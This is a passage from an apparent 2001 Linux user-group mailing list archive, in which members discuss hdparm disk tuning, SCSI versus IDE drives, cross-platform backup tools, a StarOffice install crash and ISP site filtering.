24.621 ms 25.599 ms 6 12.124.15.13 (12.124.15.13) 27.82 ms 26.540 ms 25.991 ms 7 gbr1-p70.dtrmi.ip.att.net (12.123.139.22) 25.976 ms 24.759 ms 25.930 ms 8 gbr4-p30.cgcil.ip.att.net (12.122.2.194) 25.842 ms 23.877 ms 27.38 ms 9 gbr3-p60.cgcil.ip.att.net (12.122.1.125) 25.538 ms 24.265 ms 24.927 ms 10 gbr3-p10.n54ny.ip.att.net (12.122.2.1) 41.447 ms 42.514 ms 42.659 ms 11 ggr1-p360.n54ny.ip.att.net (12.123.1.121) 44.826 ms 44.571 ms 44.86 ms 12 pos2-2-622M.br2.NYC2.gblx.net (208.51.134.5) 42.734 ms 44.501 ms 44.20 ms 13 pos6-0-2488M.cr2.NYC2.gblx.net (208.48.234.213) 44.55 ms 44.428 ms 44.753 ms 14 pos1-0-2488M.cr1.AMS2.gblx.net (62.8.32.50) 118.869 ms 118.706 ms 119.201 ms 15 so0-0-0-2488M.ar1.AMS1.gblx.net (208.49.136.170) 119.700 ms 118.899 ms 118.608 ms 16 BR2.Amsterdam.surf.net (62.8.34.34) 118.7 ms 116.149 ms 121.295 ms 17 BR7.Amsterdam.surf.net (145.41.7.42) 116.94 ms 118.827 ms 119.198 ms 18 BR6.Amsterdam.surf.net (145.41.7.45) 119.153 ms 125.95 ms 125.308 ms 19 AR1.Leiden.surf.net (145.41.7.134) 121.180 ms 120.602 ms 121.402 ms 20 leidenuniv-router.Customer.surf.net (145.41.97.10) 121.534 ms 127.755 ms 124.966 ms 21 * csgate.leidenuniv.nl (132.229.8.14) 124.956 ms 127.491 ms 22 svgw.liacs.nl (132.229.44.254) 123.711 ms 128.466 ms 126.774 ms 23 pandora.debian.org (132.229.131.40) 125.169 ms 122.798 ms 125.656 ms Nate From jethro at freakzilla.com Wed Aug 15 11:33:56 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815112554.B16005@beaver.iucha.org> Message-ID: Hi, On Wed, 15 Aug 2001, Florin Iucha wrote: > hdparm -d1 -c3 -m16 -u1 /dev/hdX That's not a tip, it's a commandline! Explain! (: > Or get scuzzy... Yeah... 75GB IDE: $206 73GB SCSI: $535 Not to mention 80GB IDE is $172 on pricewatch... -Yaron -- From mfraase at farces.com Wed Aug 15 11:35:44 2001 From: mfraase at farces.com (Michael Fraase) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software Message-ID: <005f01c125a8$54b16590$79732ad0@further> Just about the only thing that's keeping us from migrating our servers to some variant of Linux is cross-platform backup software. Currently we're using Dantz Retrospect to backup everything on the LAN to DAT connected to one of the servers via SCSI. It's transparent, happens in the background and all I have to do is remember to keep the tapes straight and keep feeding them to the tape beast. I've never yet restored anything but our Macs completely from a backup set (with Windows it's just easier to reformat/reinstall) but I'm regularly pulling single files and directories from the tapes. Is there software for Linux that will allow me to do the same. I want it transparent, reliable, and in the background. -- Michael Fraase ARTS & FARCES LLC mfraase@farces.com www.farces.com PGP Fingerprint: 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 From rob at tatsumaki.org Wed Aug 15 11:38:06 2001 From: rob at tatsumaki.org (Rob Bajorek) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard Message-ID: <20010815113806.A3422@madoka.tatsumaki.org> Thus spake Bob Tanner (tanner@real-time.com): > Installing Star Office on 2.4.6, 2.4.7 and 2.4.8 locks the box hard under RedHat > 7.0. > > Anyone else seen this before or a solution to the problem? I have a similiar issue. People on the StarOffice forums said the problem is that SO doesn't play nice with my video card (S3 Savage IX). The fix I got is: export SAL_DO_NOT_USE_INVERT50=true This value needs to be exported when I install or run StarOffice. Rob From blayer at qwest.net Wed Aug 15 11:39:44 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: References: Message-ID: <20010815113944.4802427b.blayer@qwest.net> On Wed, 15 Aug 2001 11:10:28 -0500 (CDT) "Yaron" wrote: > I've done the hdparm thing, but I really don't know what to look for/at. > Anyone want to throw some HDD optimization tips out to the list? Including > "Enable this in the kernel" etc. There was an EXCELLENT article on linux.oreily.net on using hdparm, it is what got my I/O up to the current levels. Here is a link to it: http://linux.oreillynet.com/pub/a/linux/2000/06/29/hdparm.html FWIW, here is a clip from my /etc/rc.d/rc.local (most of the other settings mentioned in the article just seemd to do nothing, or hurt performance. I arrived at these settings through trial-and-error): # Set the IDE I/O parameters for /dev/hde echo "Using hdparm to set IDE I/O parameters..." /sbin/hdparm -u1 -d1 /dev/hde -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From florin at iucha.net Wed Aug 15 11:49:50 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: ; from jethro@freakzilla.com on Wed, Aug 15, 2001 at 11:33:56AM -0500 References: <20010815112554.B16005@beaver.iucha.org> Message-ID: <20010815114950.C16005@beaver.iucha.org> On Wed, Aug 15, 2001 at 11:33:56AM -0500, Yaron wrote: > Hi, > > On Wed, 15 Aug 2001, Florin Iucha wrote: > > > hdparm -d1 -c3 -m16 -u1 /dev/hdX > > That's not a tip, it's a commandline! Explain! (: > > > Or get scuzzy... > > Yeah... > > 75GB IDE: $206 > 73GB SCSI: $535 Yeah... 1. What do you need 75Gb for? 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From jethro at freakzilla.com Wed Aug 15 11:50:52 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815113944.4802427b.blayer@qwest.net> Message-ID: Hey, On Wed, 15 Aug 2001, Bill Layer wrote: > performance. I arrived at these settings through trial-and-error): How do you do the trial? (: -Yaron -- From simeonuj at eetc.com Wed Aug 15 12:02:05 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software References: <005f01c125a8$54b16590$79732ad0@further> Message-ID: <3B7AAAF6.64F7ED04@eetc.com> I am also interested in this. We have about the same configuration. We just bought another drive for backing up linux servers. Kinda a pain and not much room. I would rather use the same backup device for everything (It's several times faster and larger than the other tape drive. DLT 4000. Very nice). Michael Fraase wrote: > Just about the only thing that's keeping us from migrating our servers > to some variant of Linux is cross-platform backup software. > > Currently we're using Dantz Retrospect to backup everything on the LAN > to DAT connected to one of the servers via SCSI. It's transparent, > happens in the background and all I have to do is remember to keep the > tapes straight and keep feeding them to the tape beast. Retrospect ROOLZ. :) > I've never yet restored anything but our Macs completely from a backup > set (with Windows it's just easier to reformat/reinstall) but I'm > regularly pulling single files and directories from the tapes. *Your average "MACS RULE!!!" shpeel here...* > Is there software for Linux that will allow me to do the same. I want it > transparent, reliable, and in the background. I would like to see something like this also. sim From jethro at freakzilla.com Wed Aug 15 12:04:14 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815114950.C16005@beaver.iucha.org> Message-ID: Hi, On Wed, 15 Aug 2001, Florin Iucha wrote: > 1. What do you need 75Gb for? jethro@dragon:/home/jethro> df -h /home Filesystem Size Used Avail Use% Mounted on /dev/hda12 42G 33G 9.4G 78% /home I do a lot of video capture. It takes up space. > 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. SCSI is absolutely no guarantee of quality. I've had many, many SCSI drives die on me - more than I can remember offhand. I've only had about 2 IDE drives die on me. SCSI and IDE drives aren't really that different. SCSI is overpriced for very little reason. Some say they go through a tougher QA process, but then IBM Deskstarts (75GB IDE) do too. -Yaron -- From florin at iucha.net Wed Aug 15 12:13:46 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: ; from jethro@freakzilla.com on Wed, Aug 15, 2001 at 12:04:14PM -0500 References: <20010815114950.C16005@beaver.iucha.org> Message-ID: <20010815121346.D16005@beaver.iucha.org> On Wed, Aug 15, 2001 at 12:04:14PM -0500, Yaron wrote: > Hi, > > On Wed, 15 Aug 2001, Florin Iucha wrote: > > > 1. What do you need 75Gb for? > > jethro@dragon:/home/jethro> df -h /home > Filesystem Size Used Avail Use% Mounted on > /dev/hda12 42G 33G 9.4G 78% /home > > I do a lot of video capture. It takes up space. > > > 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. > > SCSI is absolutely no guarantee of quality. I've had many, many SCSI > drives die on me - more than I can remember offhand. I've only had about 2 > IDE drives die on me. > > SCSI and IDE drives aren't really that different. SCSI is overpriced for > very little reason. Some say they go through a tougher QA process, but > then IBM Deskstarts (75GB IDE) do too. For the same reason that 256MB RAM costs $X and 512MB RAM costs 4 x $X. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From list at slushpupie.com Wed Aug 15 12:19:57 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: Message-ID: Generally, I do SCSI when I need many disks, or want to set up a RAID of some sort. Its just easier to have multiple disks that way. Also, my SCSI CD burner *never* has had a buffer underrun or overrun error. Almost everyone I know with an IDE burner has had them. But for basic drives on a personal system, IDE is cheap and easy. There isn't much difference. In fact, IDE is considered a subset of SCSI. It was a simplified version of the protocol to make things a little cheaper to implement, the drawback was you could only have 2 drives on a channel. It is this fact that gives us SCSI emulation in Linux. Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Yaron Sent: Wednesday, August 15, 2001 12:04 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] HDD IO optimizing Hi, On Wed, 15 Aug 2001, Florin Iucha wrote: > 1. What do you need 75Gb for? jethro@dragon:/home/jethro> df -h /home Filesystem Size Used Avail Use% Mounted on /dev/hda12 42G 33G 9.4G 78% /home I do a lot of video capture. It takes up space. > 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. SCSI is absolutely no guarantee of quality. I've had many, many SCSI drives die on me - more than I can remember offhand. I've only had about 2 IDE drives die on me. SCSI and IDE drives aren't really that different. SCSI is overpriced for very little reason. Some say they go through a tougher QA process, but then IBM Deskstarts (75GB IDE) do too. -Yaron -- _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jethro at freakzilla.com Wed Aug 15 12:23:26 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:19 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815121346.D16005@beaver.iucha.org> Message-ID: Hey, On Wed, 15 Aug 2001, Florin Iucha wrote: > For the same reason that 256MB RAM costs $X and 512MB RAM costs 4 x $X. You MADE me do it! PC133 256MB: $16 PC133 512MB: $30 -Yaron -- From veldy at veldy.net Wed Aug 15 12:23:15 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? References: Message-ID: <00fa01c125ae$f88e7f30$3028680a@tgt.com> I still wouldn't use the 2.2 kernel. The VM and filesystem caching have been totally revamped in the 2.4 kernels. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Nate Carlson" To: Sent: Wednesday, August 15, 2001 11:14 AM Subject: Re: [TCLUG] Poor performance of AMD 1 Ghz? > On Wed, 15 Aug 2001, Thomas T. Veldhouse wrote: > > Most of the 1 GHz Athlons use the VIA chipset. You do NOT get proper > > performance from the 2.2.19 kernel on the VIA chipsets, as you can not get > > UDMA66/100 to enable properly. On the 2.4 kernel it appears to work > > flawlessly. Definitely, you can expect disk I/O performance problems using > > the 2.2.19 kernel with just about any Athlon system. > > > > This is ALL assuming IDE of course. Since the original poster did not > > specify, it is fairly safe to assume such. Somebody with SCSI and/or RAID > > would usually know to say so. > > dpt_i2o raid controller (adaptec 2100s).. bob forgot to mention it. :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From blayer at qwest.net Wed Aug 15 12:23:28 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: References: <20010815113944.4802427b.blayer@qwest.net> Message-ID: <20010815122328.61b84c04.blayer@qwest.net> On Wed, 15 Aug 2001 11:50:52 -0500 (CDT) "Yaron" wrote: > Hey, > > On Wed, 15 Aug 2001, Bill Layer wrote: > > > performance. I arrived at these settings through trial-and-error): > > How do you do the trial? (: Read the article... tells all about it... that is why I went and searched it out again. But the basic procedure is to establish the starting point by running hdparm -Tt /dev/hd? and recording those figures. Then start making intelligent guesses, changing parameters with hdparm and re-running the -Tt benchmark to see which combination of parameters get you the best performance, while remaining stable. Interesting to note: while Linux does NOT use the BIOS after boottime, the BIOS settings for hard disk modes, etc are retained by the drives themselves after boot. My (very recent) BIOS puts the drives in the proper PIO mode at boottime, so I make no PIO/UDMA mode / speed changes in my hdparm command: d1 and u1 enable DMA and interrupt-unmasking, respectively. Your best setup may be a combination of BIOS / hdparm modes like mine, or not. But again, read the article.. you can cause NASTY problems, crashes, data loss etc if you make a bad move. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From veldy at veldy.net Wed Aug 15 12:25:24 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing References: Message-ID: <010901c125af$458d09a0$3028680a@tgt.com> > SCSI is absolutely no guarantee of quality. I've had many, many SCSI > drives die on me - more than I can remember offhand. I've only had about 2 > IDE drives die on me. These days, SCSI and IDE are the same drive hardware. The difference is in the controller and that it allows multiple thread access at the same time. > > SCSI and IDE drives aren't really that different. SCSI is overpriced for > very little reason. Some say they go through a tougher QA process, but > then IBM Deskstarts (75GB IDE) do too. > They are not different at all, at the drive level. Tom Veldhouse veldy@veldy.net From jeffr at odeon.net Wed Aug 15 12:37:12 2001 From: jeffr at odeon.net (jeffr@odeon.net) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815114950.C16005@beaver.iucha.org> Message-ID: On Wed, 15 Aug 2001, Florin Iucha wrote: [snip] > > Yeah... > > > > 75GB IDE: $206 > > 73GB SCSI: $535 > > Yeah... > > 1. What do you need 75Gb for? > > 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. > > florin Re: #1: Question is irrelevant. It doesn't matter why Yaron needs 75 gigs of storage space. "Because" is a perfectly valid answer. Re: #2: Escalade 6200 (2-port) card: $ 120 75GB IDE (x2): $ 412 ----- 75GB IDE mirror $ 532 73GB SCSI (x1): $ 535 Jeff From andy at theasis.com Wed Aug 15 07:29:14 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815114950.C16005@beaver.iucha.org> Message-ID: > > 75GB IDE: $206 > > 73GB SCSI: $535 > > Yeah... > 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. you mean you think paying more than 2x as much for scsi somehow protects you from drive failing? disagree. Andy > > florin > > From troy.johnson at health.state.mn.us Wed Aug 15 12:19:34 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing Message-ID: On the other hand, you could RAID 1 it and still be under the price of the SCSI disk (IDE does put the Inexpensive in RAID). I do not know how they would compare performance-wise, though. Anyone using IDE RAID and SCSI (or a non-RAID IDE) in comparable boxes? >>> florin@iucha.net 08/15/01 11:49AM >>> >On Wed, Aug 15, 2001 at 11:33:56AM -0500, Yaron wrote: > Yeah... > 75GB IDE: $206 > 73GB SCSI: $535 Yeah... 1. What do you need 75Gb for? 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. From blayer at qwest.net Wed Aug 15 12:31:46 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: References: <20010815114950.C16005@beaver.iucha.org> Message-ID: <20010815123146.503d9c24.blayer@qwest.net> On Wed, 15 Aug 2001 12:04:14 -0500 (CDT) "Yaron" wrote: > SCSI and IDE drives aren't really that different. SCSI is overpriced for > very little reason. Some say they go through a tougher QA process, but > then IBM Deskstarts (75GB IDE) do too. SCSI drives are overpriced for several reasons. First, a SCSI drive has the actual disk controller hardware on the SCSI drive itself. This unloads the host adapter, which is one of the reasons that SCSI adapters do not impose nearly the load as do IDE controllers. However, this increases cost through the redundancy of controller parts you are buying. This is also the reason that you do not need to set CYL/HD/SEC or soft modes for SCSI drives - the controller hardware on the disk already knows this information, and presents a generic interface / protocol to the host adapter. Second, SCSI drives are manufactured in lower quantities than are IDE drives, which increases production costs. This is kind of a chicken-and-egg situation, but the reality is that IDE is much more prevalent in your average box. Even Apple computer, the long-time champion of the SCSI bus, has bailed in favor of big, cheap and reasonably fast IDE drives. And yes... Beta was superior to VHS, too. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From natecars at real-time.com Wed Aug 15 12:49:47 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: Message-ID: On Wed, 15 Aug 2001, Troy.A Johnson wrote: > (IDE does put the Inexpensive in RAID). ^^^^^^^^^^^ Uh-oh, you're about to start the holy war about what RAID really stands for.. *grin* -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jethro at freakzilla.com Wed Aug 15 12:54:55 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <20010815123146.503d9c24.blayer@qwest.net> Message-ID: Hi, On Wed, 15 Aug 2001, Bill Layer wrote: > SCSI drives are overpriced for several reasons. First, a SCSI drive has > the actual disk controller hardware on the SCSI drive itself. True. This does improve performance, especially if you're doing CPU intensive tasks. > Second, SCSI drives are manufactured in lower quantities than are IDE > drives, which increases production costs. Yeah, this counts as "no good reason" in MY book - _I_ gain nothing from it (: > Even Apple computer, the long-time champion of the SCSI bus, has bailed > in favor of big, cheap and reasonably fast IDE drives. Hell with Apple, Sun are putting IDE in _servers_. And they're not even putting "cheap big and fast" ones in, they're putting in crappily slow 15GB and charging the same. > And yes... Beta was superior to VHS, too. PAL is souperior to NTSC too. Lotta good it does me with all these PAL VHS tapes lying around... -Yaron -- From veldy at veldy.net Wed Aug 15 12:58:58 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] HDD IO optimizing References: <20010815114950.C16005@beaver.iucha.org> <20010815123146.503d9c24.blayer@qwest.net> Message-ID: <014c01c125b3$f5e58d00$3028680a@tgt.com> > > And yes... Beta was superior to VHS, too. But DVD is superior to everything! Tom Veldhouse veldy@veldy.net From thudak at sistina.com Wed Aug 15 13:10:35 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: ; from natecars@real-time.com on Wed, Aug 15, 2001 at 11:13:36AM -0500 References: <20010815101918.B19402@localhost> Message-ID: <20010815131035.A21135@localhost> On Wed, Aug 15, 2001 at 11:13:36AM -0500, Nate Carlson wrote: >Hmm.. isn't the rule of thumb to have double the swap than you have >memory? I've always followed by 1.5.. dosn't make much difference either way. At this point, it's almost more cost-effective to gain back that gig of storage and put in another 512M of ram! I have a hard time believing that 1 gig of swap is effective in any way shape or form, I will never have a swap partition greater than 256M. >Oh, and if you work here, 512mb isn't enough. You run out quick. :) What the hell are you guys doing that's killing 512M on a workstation?? I can open vmware w/ 128 of my 384 dedicated to it, and still play quake w/ minimal swap activity. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... 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ATT (the ISP) is considered an end user just like any other ISP. *That's not entirely true, as they do enjoy some of the same benefits (and possibly burdens) as common carriers under things like the DMCA. -- Mike. At 11:18 AM 8/15/01, you wrote: >Actually, there maybe something here that's being overlooked. If a >common carrier is blocking access to specific sites (or specific IP >blocks) they're arguably no longer a common carrier. > >-- >Michael Fraase >ARTS & FARCES LLC >mfraase@farces.com >www.farces.com >PGP Fingerprint: >3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > From thudak at sistina.com Wed Aug 15 13:21:42 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software In-Reply-To: <005f01c125a8$54b16590$79732ad0@further>; from mfraase@farces.com on Wed, Aug 15, 2001 at 11:35:44AM -0500 References: <005f01c125a8$54b16590$79732ad0@further> Message-ID: <20010815132142.B21135@localhost> On Wed, Aug 15, 2001 at 11:35:44AM -0500, Michael Fraase wrote: >Just about the only thing that's keeping us from migrating our servers >to some variant of Linux is cross-platform backup software. How cross platform. Get a linux box setup, dump that "commercial" crap backup software being used and go with amanda. If you have mac's, have the mac users put stuff on an appleshare on a *nix server and backup that servers disk at night. >I've never yet restored anything but our Macs completely from a backup >set (with Windows it's just easier to reformat/reinstall) but I'm >regularly pulling single files and directories from the tapes. You could setup your current software to backup to a linux/(ugh)NT system, and have the backup software dump that. >Is there software for Linux that will allow me to do the same. I want it >transparent, reliable, and in the background. Amanda! www.amanda.org. It's never let me down. It's fully automated, and if you have a changer, you'll never have to even look at it to backup/restore ever again. Not only that, it automagically compares modification dates and schedules different levels of incrementals and full backups over your tape schedule so you aren't filling up every tape with full-dumps of data that's already backed up. I've never heard of what you were using, but amanda is in production in HUGE shops across the country that have far greater backup needs than your's I'm sure. (Not that you don't have a great need, but amanda is running backups for a couple large universities that I can think of right off the top of my head.) It's also well documented and mailing lists are very informative. You got a question, post it, and you'll have a *plethora* (yeah yeah) of answers within a day. Go get that from the engineers of BRU or Dantz or whoever else makes crappy commercial backup software. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... 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Then I can spend all that money on an IDE RAID 5 controller. -Brian From lxy at cloudnet.com Wed Aug 15 13:39:46 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software In-Reply-To: <005f01c125a8$54b16590$79732ad0@further> Message-ID: On Wed, 15 Aug 2001, Michael Fraase wrote: > Is there software for Linux that will allow me to do the same. I want it > transparent, reliable, and in the background. Since you didn't mention the word "free" in there I'll make a plug for Arcserve, now running on NT, Novell, and linux. Yup, it's spendy. You get what you pay for though. You didn't mention what "multi-platform" means. Mac? Windows? Solaris? BeOS? -Brian From natecars at real-time.com Wed Aug 15 13:50:32 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:20 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815131035.A21135@localhost> Message-ID: On Wed, 15 Aug 2001, Tom Hudak wrote: > What the hell are you guys doing that's killing 512M on a workstation?? I can > open vmware w/ 128 of my 384 dedicated to it, and still play quake w/ minimal > swap activity. Compiling a bunch'a code, multiple vmware sessions, etc.. developer workstations. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From mfraase at farces.com Wed Aug 15 13:59:30 2001 From: mfraase at farces.com (Michael Fraase) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <200108151819.f7FIJRe13316@sprite.real-time.com> Message-ID: <006201c125bc$69e2dfc0$79732ad0@further> Nope, I'm talking about *any* ISP blocking access to certain IP addresses or IP blocks. They all have consistently and collectively used the argument that they are "common carriers" not "publishers." A position I agree with, in general. And, the argument goes, since they're required to carry the traffic of all comers they're not responsible for any of it. When they start limiting access to specific addresses or blocks of addresses, a cogent argument could be made that they've given up their "common carrier" status. -- Michael Fraase ARTS & FARCES LLC mfraase@farces.com www.farces.com PGP Fingerprint: 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > -----Original Message----- > Message: 17 > Date: Wed, 15 Aug 2001 13:13:15 -0500 > To: tclug-list@mn-linux.org > From: Mike Paulsen > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > Reply-To: tclug-list@mn-linux.org > > ATT the telco is not the same as ATT the ISP. ISPs are > "enhanced service > providers" and do not enjoy the benefits nor suffer the > regulatory burdens > which come with common carrier status.* > > ATT (the telco) is required to give ISPs access to the > telephone lines. ATT > (the ISP) is considered an end user just like any other ISP. > > *That's not entirely true, as they do enjoy some of the same > benefits (and > possibly burdens) as common carriers under things like the DMCA. From veldy at veldy.net Wed Aug 15 14:11:36 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] HDD IO optimizing References: Message-ID: <017a01c125be$23fea730$3028680a@tgt.com> You should consider Western Digital as well. Often, a particular model of Western Digital is the SAME drive that you get when you buy an IBM drive. I am not sure what sort of deal they have, but it seems there is a bit of overlap with respect to hardware between IBM and Western Digital. I think the overlap is the WD Caviar drives. I have been using these and they seem to run forever (knock on wood). Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Brian" To: Sent: Wednesday, August 15, 2001 1:23 PM Subject: Re: [TCLUG] HDD IO optimizing > > > 2. When all your 75Gb go down the tubes... You'll be sorry you were cheap. > > > > you mean you think paying more than 2x as much for scsi somehow protects > > you from drive failing? > > Yes, I'm puzzled as well. Are SCSI drives more reliable than IDE? For my > money, an IBM ATA/100 7200RPM drive is sufficiently fast and just as > reliable as SCSI. Referencing the original quote of $172 on Pricewatch > for a 76GB, beware. Cheap drives are out there and they're not worth > their price. Anything other than Seagate and IBM are not allowed in my > house. Then I can spend all that money on an IDE RAID 5 controller. > > -Brian > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From list at slushpupie.com Wed Aug 15 14:13:26 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <006201c125bc$69e2dfc0$79732ad0@further> Message-ID: There are some ISPs out there that have a service to block porn before it gets to your computer. Since they do it at a sever level (or router, Im not sure how they do it) there is no way to disable it from your computer, and is not software specific. Since you must request (and pay for) this service. Would they still maintain a "common carrier" status? Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Michael Fraase Sent: Wednesday, August 15, 2001 2:00 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] AT&T filtering sites?.sdm Nope, I'm talking about *any* ISP blocking access to certain IP addresses or IP blocks. They all have consistently and collectively used the argument that they are "common carriers" not "publishers." A position I agree with, in general. And, the argument goes, since they're required to carry the traffic of all comers they're not responsible for any of it. When they start limiting access to specific addresses or blocks of addresses, a cogent argument could be made that they've given up their "common carrier" status. -- Michael Fraase ARTS & FARCES LLC mfraase@farces.com www.farces.com PGP Fingerprint: 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > -----Original Message----- > Message: 17 > Date: Wed, 15 Aug 2001 13:13:15 -0500 > To: tclug-list@mn-linux.org > From: Mike Paulsen > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > Reply-To: tclug-list@mn-linux.org > > ATT the telco is not the same as ATT the ISP. ISPs are > "enhanced service > providers" and do not enjoy the benefits nor suffer the > regulatory burdens > which come with common carrier status.* > > ATT (the telco) is required to give ISPs access to the > telephone lines. ATT > (the ISP) is considered an end user just like any other ISP. > > *That's not entirely true, as they do enjoy some of the same > benefits (and > possibly burdens) as common carriers under things like the DMCA. _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Wed Aug 15 14:32:47 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <017a01c125be$23fea730$3028680a@tgt.com> Message-ID: On Wed, 15 Aug 2001, Thomas T. Veldhouse wrote: > You should consider Western Digital as well. Often, a particular model of > Western Digital is the SAME drive that you get when you buy an IBM drive. I > am not sure what sort of deal they have, but it seems there is a bit of > overlap with respect to hardware between IBM and Western Digital. I think > the overlap is the WD Caviar drives. I have been using these and they seem > to run forever (knock on wood). That's odd, I've never heard of this before. I've had more than my share of bad WD drives so I instantly cringe at the thought of 